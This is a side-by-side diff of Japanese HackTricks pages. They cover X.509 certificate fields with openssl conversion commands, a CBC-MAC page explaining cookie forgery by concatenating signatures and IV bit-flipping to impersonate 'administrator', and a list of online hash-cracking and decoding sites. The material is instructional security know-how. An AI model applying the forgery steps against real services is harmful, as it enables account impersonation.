* **有効終了日時**: 証明書が有効でなくなる時間と日付。 - **Not After**:証明書が無効になる時刻と日付。
* **公開鍵**: 証明書の被験者に属する公開鍵。これは主要な部分の1つです。これがCAによって署名されます) - **公開鍵**:証明書サブジェクトに属する公開鍵。 これはCAによって署名される主要な部分の1つです)
* **公開鍵アルゴリズム**: 公開鍵を生成するために使用されるアルゴリズム。例えばRSA。 - **公開鍵アルゴリズム**公開鍵を生成するために使用されるアルゴリズム。RSAなど
* **公開鍵カーブ**: 楕円曲線公開鍵アルゴリズムに使用されるカーブ該当する場合。例えばnistp521 - **公開鍵曲線**楕円曲線公開鍵アルゴリズムで使用される曲線適用される場合。nistp521など
* **公開鍵指数**: 公開鍵を導出するために使用される指数該当する場合。例えば65537 - **公開鍵指数**公開鍵を導出するために使用される指数適用される場合。65537など
* **公開鍵サイズ**: ビット単位の公開鍵空間のサイズ。例えば2048 - **公開鍵サイズ**ビット単位での公開鍵空間のサイズ。2048など
* **署名アルゴリズム**: 公開鍵証明書に署名するために使用されるアルゴリズム。 - **署名アルゴリズム**公開鍵証明書に署名するために使用されるアルゴリズム。
* **署名**: 発行者の秘密鍵による証明書本体の署名。 - **署名**発行者の秘密鍵による証明書本体の署名。
* **x509v3拡張** - **x509v3拡張**
* **鍵の使用法**: 証明書の公開鍵の有効な暗号使用法。一般的な値には、デジタル署名の検証、鍵の暗号化、および証明書の署名が含まれます。 - **キーの使用法**:証明書の公開鍵の有効な暗号利用方法。デジタル署名検証、鍵暗号化、証明書署名などが一般的な値です。
* Web証明書では、_X509v3拡張_として表示され、値は`Digital Signature`となります。 - Web証明書では、_X509v3拡張_として表示され、値が`Digital Signature`になります。
* **拡張鍵の使用法**: 証明書が使用されるアプリケーション。一般的な値には、TLSサーバー認証、電子メール保護、およびコード署名が含まれます。 - **拡張キーの使用法**証明書が使用できるアプリケーション。TLSサーバー認証、電子メール保護、コード署名などが一般的な値です。
* Web証明書では、_X509v3拡張_として表示され、値は`TLS Web Server Authentication`となります。 - Web証明書では、_X509v3拡張_として表示され、値が`TLS Web Server Authentication`になります。
* **被験者代替名**: ユーザーが単一のSSL**証明書**に追加のホスト**名**を指定することを可能にします。SAN拡張の使用はSSL証明書の標準的な実践であり、一般**名**の使用を置き換える途中です。 - **サブジェクト代替名**1つのSSL証明書に追加のホスト**名**を指定できます。SAN拡張の使用はSSL証明書の標準的な慣行であり、一般的な**名前**の使用を置き換える途中です。
* **基本制約**: この拡張機能は、証明書がCA証明書であるか、エンドエンティティ証明書であるかを説明します。CA証明書は他の証明書に署名するものであり、エンドエンティティ証明書は例えばウェブページで使用される証明書です(チェーンの最後の部分)。 - **基本制約**この拡張は、証明書がCA証明書であるかエンドエンティティ証明書であるかを説明します。 CA証明書は他の証明書に署名するものであり、エンドエンティティ証明書は、たとえばWebページで使用される証明書です(チェーンの最後の部分)。
* **被験者鍵識別子** (SKI): この拡張機能は、証明書の公開**鍵**に対する一意の**識別子**を宣言します。すべてのCA証明書で必要です。CAは、発行された証明書の発行者**鍵識別子**AKI拡張機能に自身のSKIを伝播します。これは被験者の公開鍵のハッシュです。 - **サブジェクトキー識別子**SKIこの拡張は、証明書の公開**キー**の一意の**識別子**を宣言します。すべてのCA証明書には必須です。 CAは、発行された証明書の発行者**キー識別子**AKI拡張に自分自身のSKIを伝播します。これはサブジェクト公開鍵のハッシュです。
* **権限鍵識別子**: 発行者の証明書の公開鍵から派生した鍵識別子を含みます。これは発行者の公開鍵のハッシュです。 - **権限キー識別子**:これには、発行者証明書の公開鍵から派生したキー識別子が含まれます。これは発行者公開鍵のハッシュです。
* **権限情報アクセス** (AIA): この拡張機能には、最大で2種類の情報が含まれます - **権限情報アクセス**AIAこの拡張には、次の2種類の情報が含まれます
* **この証明書の発行者を取得する方法に関する情報**CA発行者アクセス方法 - この証明書の発行者を取得する方法に関する情報CA発行者アクセス方法
* **この証明書の失効をチェックできるOCSPレスポンダーのアドレス**OCSPアクセス方法 - この証明書の取り消しを確認できるOCSP応答者のアドレスOCSPアクセス方法
* **CRL配布ポイント**: この拡張機能は、この証明書の失効をチェックできるCRLの場所を識別します。証明書を処理するアプリケーションは、この拡張機能からCRLの場所を取得し、CRLをダウンロードしてから、この証明書の失効をチェックすることができます。 - **CRL配布ポイント**:この拡張は、この証明書の取り消しを確認できるCRLの場所を識別します。証明書を処理するアプリケーションは、この拡張からCRLの場所を取得し、CRLをダウンロードしてからこの証明書の取り消しを確認できます。
* **CTプレ証明書SCT**: 証明書の透明性に関するログ - **CTプレサーティフィケートSCT**:証明書に関する証明書透明性のログ
### OCSPとCRL配布ポイントの違い ### OCSPとCRL配布ポイントの違い
**OCSP** (RFC 2560)は、**OCSPクライアントとOCSPレスポンダー**からなる標準プロトコルです。このプロトコルは、**CRL全体をダウンロードすることなく**、与えられたデジタル公開鍵証明書の**失効状態を決定します**。\ **OCSP**RFC 2560は、**OCSPクライアントとOCSP応答者**から構成される標準プロトコルです。このプロトコルは、**CRL全体をダウンロードすることなく**、**特定のデジタル公開鍵証明書の取り消しステータスを決定**します。\
**CRL**は証明書の有効性をチェックする**伝統的な方法**です。**CRLは、失効したりもはや有効でない証明書のシリアル番号のリストを提供します**。CRLを使用すると、検証者は提示された証明書を検証しながら、その失効状態をチェックすることができます。CRLは512エントリに制限されています。\ **CRL**は証明書の有効性を確認するための**従来の方法**です。**CRLには取り消された証明書のシリアル番号のリスト**が含まれます。 CRLを使用することで、証明書の提示時にその取り消しステータスを確認できます。 CRLは512エントリまでです。\
[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)から。 [こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)から。
### 証明書透明性とは ### 証明書透明性とは
証明書の透明性は、証明書に基づく脅威に対処することを目的としており、**ドメインの所有者、CA、およびドメインユーザーによるSSL証明書の発行と存在を監視可能にすることで**これを実現します。具体的には、証明書の透明性には3つの主な目標があります 証明書透明性は、SSL証明書に基づく脅威を解決することを目的としています。これは、SSL証明書の発行と存在をドメイン所有者、CA、およびドメインユーザーによって検証可能にすることを目的としています。具体的には、証明書透明性には次の3つの主な目標があります
* CAがドメインの所有者に証明書が見えることなくSSL証明書を**発行することが不可能(または少なくとも非常に困難)にする** - CAがそのドメインのためにSSL証明書を発行することができないまたは非常に困難にするようにする。その証明書がそのドメインの所有者に見えるようにする
* **証明書が誤ってまたは悪意を持って**発行されたかどうかを任意のドメイン所有者またはCAが判断できる**オープンな監査および監視システムを提供する** - 任意のドメイン所有者またはCAが、誤ってまたは悪意を持って発行された証明書を確認できるようにする、オープンな監査およびモニタリングシステムを提供する
* **ユーザーを**、誤ってまたは悪意を持って発行された証明書にだまされないように(できるだけ)**保護する** - 誤ってまたは悪意を持って発行された証明書によってユーザーがだまされるのを(可能な限り)防ぐ
#### **証明書ログ** #### **証明書ログ**
証明書ログは、証明書の**暗号学的に保証された、公に監査可能な、追加のみの記録を維持する単純なネットワークサービス**です。**誰でもログに証明書を提出することができます**が、証明書機関が主な提出者になる可能性が高いです。同様に、誰でもログを照会して暗号学的証明を取得することができ、これはログが適切に動作していることを検証するため、または特定の証明書がログに記録されていることを検証するために使用できます。ログサーバーの数は多くなくてもよいたとえば、世界中で数千以下、それぞれがCA、ISP、または他の関心を持つ当事者によって独立して運営される可能性があります。 証明書ログは、証明書の**暗号的に保証された、公開で監査可能な、追加専用のレコード**を維持するシンプルなネットワークサービスです。**誰でもログに証明書を提出できます**が、証明機関がおそらく最初の提出者になるでしょう。同様に、誰でもログをクエリでき、その暗号的な証拠を取得できます。これは、ログが適切に動作しているか、特定の証明書がログに記録されているかを検証するために使用できます。ログサーバーの数は大きくなくても構いませんたとえば、世界中で1000を大幅に下回る、それぞれがCA、ISP、または他の関係者によって独立して運営される可能性があります。
#### クエリ #### クエリ
任意の 任意のドメインの証明書透明性のログを[https://crt.sh/](https://crt.sh)でクエリできます。
## フォーマット
証明書を保存するために使用できるさまざまなフォーマットがあります。
#### **PEM形式**
- 証明書に最も一般的に使用される形式です
- ほとんどのサーバ
``` ```
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
@ -107,24 +116,24 @@ openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
**PEMをP7Bに変換する** **PEMをP7Bに変換する**
**注意:** PKCS#7またはP7B形式はBase64 ASCII形式で保存され、ファイル拡張子は.p7bまたは.p7cです。P7Bファイルには証明書とチェーン証明書中間CAのみが含まれており、秘密鍵は含まれていません。P7Bファイルをサポートする最も一般的なプラットフォームはMicrosoft WindowsとJava Tomcatです。 **注意:** PKCS#7またはP7B形式はBase64 ASCII形式で保存され、ファイル拡張子は.p7bまたは.p7cです。P7Bファイルには証明書とチェーン証明書中間CAのみが含まれており、秘密鍵は含まれていません。P7Bファイルをサポートする最も一般的なプラットフォームはMicrosoft WindowsとJava Tomcatです。
``` ```
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
**PKCS7をPEMに変換する** **PKCS7をPEM形式に変換する**
``` ```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**pfxをPEMに変換** **pfxをPEMに変換する**
**注意:** PKCS#12またはPFX形式は、サーバー証明書、中間証明書、およびプライベートキーを1つの暗号化可能なファイルに格納するためのバイナリ形式です。PFXファイルは通常、.pfxや.p12のような拡張子を持っています。PFXファイルは、証明書とプライベートキーをインポートおよびエクスポートするために、Windowsマシンで一般的に使用されます。 **注意:** PKCS#12またはPFX形式は、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です。 PFXファイルには通常、.pfxや.p12などの拡張子が付いています。 PFXファイルは、通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます。
``` ```
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
**PFXをPKCS#8に変換**\ **PFXをPKCS#8に変換する**\
**注意:** これには2つのコマンドが必要です **注意:** これには2つのコマンドが必要です
**1- PFXをPEMに変換** **1- PFXをPEMに変換する**
``` ```
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
@ -132,10 +141,10 @@ openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
**P7BをPFXに変換**\ **P7BをPFXに変換する**\
**注意:** これには2つのコマンドが必要です **注意:** これには2つのコマンドが必要です
1- **P7BをCERに変換** 1- **P7BをCERに変換する**
``` ```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
@ -143,24 +152,24 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で**最も高度な**コミュニティツールを活用した**ワークフローの自動化**を簡単に構築しましょう。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス: 今すぐアクセスしてください
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローに学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックする * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有する** * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -1,81 +1,81 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 * **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
# CBC # CBC
もし**cookie**が**username**だけである場合またはcookieの最初の部分がusernameである場合、username "**admin**"になりすましをしたい場合は、usernameに**"bdmin"**を作成し、cookieの**最初のバイト**を**ブルートフォース**することができます。 もし**クッキー**が**ユーザー名だけ**(またはクッキーの最初の部分がユーザー名)であり、ユーザー名を "**admin**" に偽装したい場合、ユーザー名 **"bdmin"** を作成し、クッキーの**最初のバイト**を**ブルートフォース**することができます。
# CBC-MAC # CBC-MAC
暗号学において、**cipher block chaining message authentication code****CBC-MAC**)は、ブロック暗号からメッセージ認証コードを構築するための技術です。メッセージはCBCモードでブロック暗号アルゴリズムで暗号化され、**各ブロックが前のブロックの適切な暗号化に依存するブロックのチェーンを作成します**。この相互依存性により、プレーンテキストの**任意のビット**に対する**変更**が、ブロック暗号のキーを知らないと予測または対抗できない方法で**最終的な暗号化されたブロック**を**変更**することを保証します。 暗号学において、**Cipher Block Chaining Message Authentication Code****CBC-MAC**)はブロック暗号からメッセージ認証コードを構築するための技術です。メッセージは、いくつかのブロック暗号アルゴリズムをCBCモードで暗号化して、**前のブロックの適切な暗号化に依存するブロックの連鎖**を作成します。この相互依存性により、**平文のビットを変更すると、最終的な暗号化されたブロックが予測できず、鍵を知らないと対抗できない方法で変更**されます。
メッセージmのCBC-MACを計算するには、初期化ベクトルをゼロにしてmをCBCモードで暗号化し、最後のブロックを保持します。以下の図は、秘密鍵kとブロック暗号Eを使用して、ブロック![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)で構成されるメッセージのCBC-MACの計算をスケッチしています: メッセージ m の CBC-MAC を計算するには、m をゼロ初期化ベクトルで CBC モードで暗号化し、最後のブロックを保持します。次の図は、秘密鍵 k とブロック暗号 E を使用して、ブロック![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) から CBC-MAC を計算する構造を示しています:
![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_%28en%29.svg/570px-CBC-MAC_structure_%28en%29.svg.png) ![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
# 脆弱性 # 脆弱性
通常、CBC-MACでは使用される**IVは0**です。\ 通常、CBC-MAC では使用される**IV 0**です。\
これは問題です。なぜなら、2つの既知のメッセージ`m1`と`m2`は、独立して2つの署名`s1`と`s2`)を生成するからです。したがって これは、2つの既知のメッセージ`m1` と `m2`が独立して2つの署名`s1` と `s2`)を生成するという問題があります。つまり
* `E(m1 XOR 0) = s1` * `E(m1 XOR 0) = s1`
* `E(m2 XOR 0) = s2` * `E(m2 XOR 0) = s2`
次に、m1とm2を連結したメッセージm3は2つの署名s31とs32を生成します その後、m1 と m2 を連結したメッセージm3は、2つの署名s31 と s32を生成します
* `E(m1 XOR 0) = s31 = s1` * `E(m1 XOR 0) = s31 = s1`
* `E(m2 XOR s1) = s32` * `E(m2 XOR s1) = s32`
**これは、暗号のキーを知らなくても計算することが可能です。** **これは、暗号の鍵を知らなくても計算可能です。**
例えば、名前**Administrator**を**8バイト**ブロックで暗号化しているとします 8 バイトのブロックで名前 **Administrator** を暗号化していると想像してください
* `Administ` * `Administ`
* `rator\00\00\00` * `rator\00\00\00`
あなたは**Administ**m1というユーザー名を作成し、署名s1を取得することができます。\ **Administ**m1の署名s1を取得できます。\
次に、`rator\00\00\00 XOR s1`の結果というユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`が生成され、これはs32です。\ 次に、`rator\00\00\00 XOR s1` の結果となるユーザー名を作成できます。これにより `E(m2 XOR s1 XOR 0)` が生成され、s32 となります。\
今、あなたはs32をフルネーム**Administrator**の署名として使用することができます。 これで、s32 を **Administrator** のフルネームの署名として使用できます。
### 要約 ### 要約
1. ユーザー名**Administ**m1の署名を取得します。これはs1です。 1. ユーザー名 **Administ**m1の署名である s1 を取得します
2. ユーザー名**rator\x00\x00\x00 XOR s1 XOR 0**の署名はs32です。 2. ユーザー名 **rator\x00\x00\x00 XOR s1 XOR 0** の署名である s32 を取得します**。**
3. cookieをs32に設定すると、ユーザー**Administrator**の有効なcookieになります。 3. クッキーを s32 に設定すると、ユーザー **Administrator** の有効なクッキーになります。
# IVを制御する攻撃 # IV を制御する攻撃
使用されるIVを制御できる場合、攻撃は非常に簡単になる可能性があります。\ 使用される IV を制御できる場合、攻撃は非常に簡単になります。\
もしcookieが単にユーザー名を暗号化したものである場合、ユーザー"**administrator**"になりすますためには、ユーザー"**Administrator**"を作成し、そのcookieを取得します。\ クッキーが単に暗号化されたユーザー名である場合、ユーザー "**administrator**" を偽装するためにユーザー "**Administrator**" を作成し、そのクッキーを取得できます。\
今、もしあなたがIVを制御できるならば、IVの最初のバイトを変更して**IV\[0] XOR "A" == IV'\[0] XOR "a"**となるようにし、ユーザー**Administrator**のためのcookieを再生成することができます。このcookieは、初期**IV**を使用してユーザー**administrator**になりすますために有効です。 そして、IV を制御できる場合、IV の最初のバイトを変更して **IV\[0] XOR "A" == IV'\[0] XOR "a"** とし、ユーザー **Administrator** のクッキーを再生成できます。このクッキーは、初期の **IV****administrator** ユーザーを偽装するために有効です。
# 参考文献 # 参考文献
より多くの情報は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)で入手できます 詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 * **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -1,130 +1,131 @@
# Crypto CTFsのコツ # Crypto CTFs Tricks
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
## オンラインハッシュDB ## オンラインハッシュDB
* _**Googleで検索する**_ - _**Googleで検索**_
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
* [https://crackstation.net/](https://crackstation.net) - [https://crackstation.net/](https://crackstation.net)
* [https://md5decrypt.net/](https://md5decrypt.net) - [https://md5decrypt.net/](https://md5decrypt.net)
* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) - [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
* [https://gpuhash.me/](https://gpuhash.me) - [https://gpuhash.me/](https://gpuhash.me)
* [https://hashes.org/search.php](https://hashes.org/search.php) - [https://hashes.org/search.php](https://hashes.org/search.php)
* [https://www.cmd5.org/](https://www.cmd5.org) - [https://www.cmd5.org/](https://www.cmd5.org)
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## マジックオートソルバー ## マジックオートソルバー
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (マジックモジュール) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)(マジックモジュール)
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## エンコーダ ## エンコーダ
ほとんどのエンコードされたデータは、これら2つのリソースでデコードできます: ほとんどのエンコードされたデータは、これら2つのリソースでデコードできます
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### 置換オートソルバー ### 代入オートソルバー
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
* [https://quipqiup.com/](https://quipqiup.com) - 非常に優れています! - [https://quipqiup.com/](https://quipqiup.com) - Very good !
#### シーザー - ROTxオートソルバー #### シーザー - ROTxオートソルバー
